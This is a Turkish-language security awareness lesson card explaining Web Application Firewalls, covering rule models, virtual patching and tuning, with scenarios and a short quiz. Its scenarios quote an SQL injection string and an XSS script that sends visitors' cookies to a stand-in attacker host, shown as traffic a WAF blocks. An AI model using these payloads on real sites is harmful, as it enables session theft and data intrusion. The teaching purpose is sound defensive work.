Ağ Güvenliği

WAF (Web Uygulama Güvenlik Duvarı)

👤 Güvenlik Uzmanı1/35 dk
İnteraktif sahne yükleniyor…
🎯 Neden önemli?

2017'de Equifax'ın 147 milyon kişinin verisini kaptıran ihlali, web uygulama katmanındaki bir açıktan geldi — bir WAF, bu tür enjeksiyon denemelerini uygulamaya ulaşmadan durdurabilir.

Giriş

Merhaba, ben Güvenlik Uzmanı. Bu kartta WAF'ı (Web Uygulama Güvenlik Duvarı) öğreniyoruz: ne işe yarar, klasik güvenlik duvarından farkı nedir ve kurumda neden vazgeçilmezdir.

Anlatım

NEDİR? WAF (Web Application Firewall — Web Uygulama Güvenlik Duvarı), bir web uygulaması ile internet arasına yerleşip HTTP/HTTPS trafiğini içeriği itibarıyla denetleyen bir güvenlik katmanıdır. Klasik (ağ) güvenlik duvarı paketleri IP adresi, port ve protokol gibi düşük seviyeli bilgilere göre süzerken; WAF, isteğin gövdesine, başlıklarına, çerezlerine ve parametrelerine bakar (7. katman / uygulama katmanı). Amacı, SQL enjeksiyonu, XSS (siteler arası betik), uzaktan dosya dahil etme, oturum kaçırma gibi uygulamaya özel saldırıları yakalayıp engellemektir. NASIL ÇALIŞIR? 1) Konumlanma: WAF, istemci ile web sunucusu arasında ters proxy (reverse proxy) olarak ya da uygulamanın önünde bir eklenti/bulut hizmeti olarak durur. Tüm HTTP istekleri önce ondan geçer. 2) İnceleme: Her isteğin URL'i, sorgu parametreleri, form gövdesi, başlıkları ve çerezleri ayrıştırılır ve normalize edilir (URL kod çözme, küçük/büyük harf birleştirme — saldırganların gizleme/kaçınma tekniklerini etkisizleştirmek için). 3) Karar: İçerik kurallarla değerlendirilir. İki temel model vardır: negatif model (kara liste — bilinen kötü desenleri engelle, ör. OWASP ModSecurity Core Rule Set imzaları) ve pozitif model (beyaz liste — yalnız bilinen iyi/beklenen girdilere izin ver). Modern WAF'lar ikisini birlikte ve giderek anomali skoru / makine öğrenmesi ile kullanır. 4) Eylem: Eşik aşılırsa istek engellenir (403), kaydedilir (log/SIEM'e gönderilir), CAPTCHA ile yavaşlatılır veya yalnız izlenir (monitor/detection modu). NEDEN ÖNEMLİ / İŞ YERİNDE Geliştirme hatalarının tamamı anında düzeltilemez; bir açık tespit edilip yamalanana kadar WAF "sanal yama" (virtual patching) ile saldırı yüzeyini kapatabilir. OWASP Top 10'daki enjeksiyon ve XSS sınıfı saldırılara karşı pratik bir ön savunma sağlar; PCI-DSS gibi uyum standartları da kart verisi işleyen uygulamalar için WAF veya eşdeğer kontrol bekler. Kurumda WAF genellikle CDN/yük dengeleyici, IPS ve SIEM ile birlikte katmanlı savunmanın (defense in depth) bir parçasıdır. DİKKAT / İYİ UYGULAMA WAF tek başına yeterli değildir; güvenli kod yazımının yerini almaz, onu tamamlar. Çok katı kurallar meşru istekleri engelleyebilir (yanlış pozitif), çok gevşek kurallar saldırıyı kaçırabilir (yanlış negatif). Bu yüzden önce izleme (monitor) modunda devreye alıp kuralları uygulamaya göre ayarlamak (tuning), kuralları ve imza setlerini düzenli güncellemek ve uygulamadan önce TLS sonlandırması yaparak şifreli trafiği de denetleyebilmek önerilir.

📌 Senaryolar
📌 Örnek 1: Bir e-ticaret sitesinin arama kutusuna saldırgan ' OR '1'='1 yazarak SQL enjeksiyonu dener. Açıklama: WAF, gelen istekteki parametreyi normalize eder ve SQL enjeksiyonu imzasıyla (tek tırnak + her zaman doğru olan mantıksal koşul) eşleştirir. İstek uygulamaya hiç ulaşmadan 403 ile engellenir ve olay SIEM'e kaydedilir — veritabanı sorgusu hiç çalışmaz.
📌 Örnek 2: Bir kullanıcı, yorum alanına <script>document.location='http://kotusite/?c='+document.cookie</script> betiğini gömerek diğer ziyaretçilerin oturum çerezini çalmaya (yansıyan/depolanan XSS) çalışır. Açıklama: WAF, gövdedeki <script> etiketi ve cookie hırsızlığı desenini XSS kuralıyla yakalar; isteği reddederek zararlı betiğin kaydedilmesini ve başka kullanıcıların tarayıcısında çalışmasını önler.
📌 Örnek 3: Bir finans uygulamasında, henüz yaması yayınlanmamış kritik bir zafiyet (sıfırıncı gün) açıklanır. Açıklama: Geliştirici kalıcı düzeltmeyi hazırlayana kadar güvenlik ekibi WAF'a o zafiyeti tetikleyen istek desenini engelleyen bir 'sanal yama' kuralı yazar. Böylece uygulama kodu değişmeden saldırı yüzeyi geçici olarak kapatılır ve sistem çevrimiçi kalmaya devam eder.
Özet

• WAF, web uygulaması önünde duran ve HTTP/HTTPS trafiğini içeriğine göre (7. katman) denetleyen güvenlik katmanıdır. • Klasik güvenlik duvarı IP/port'a bakar; WAF istek gövdesine/parametrelerine bakarak SQLi, XSS, CSRF gibi uygulama saldırılarını engeller. • Negatif (kara liste/imza) ve pozitif (beyaz liste) modelleri, giderek anomali skoru ile birlikte kullanır. • Güvenli kodun yerini almaz; sanal yama, izleme modu ve düzenli kural ayarı (tuning) ile katmanlı savunmanın parçasıdır.

✅ Mini-Test (3)
1.WAF (Web Uygulama Güvenlik Duvarı) bir klasik ağ güvenlik duvarından temel olarak hangi yönüyle ayrılır?
2.Aşağıdaki saldırı türlerinden hangisi tipik olarak bir WAF'ın engellemeyi hedeflediği saldırılara örnektir?
3.WAF kurulduğunda güvenli kod yazımına artık gerek kalmaz; WAF tek başına tüm uygulama güvenliğini sağlar.
← Tüm sözlük terimleri · Farkındalık eğitimi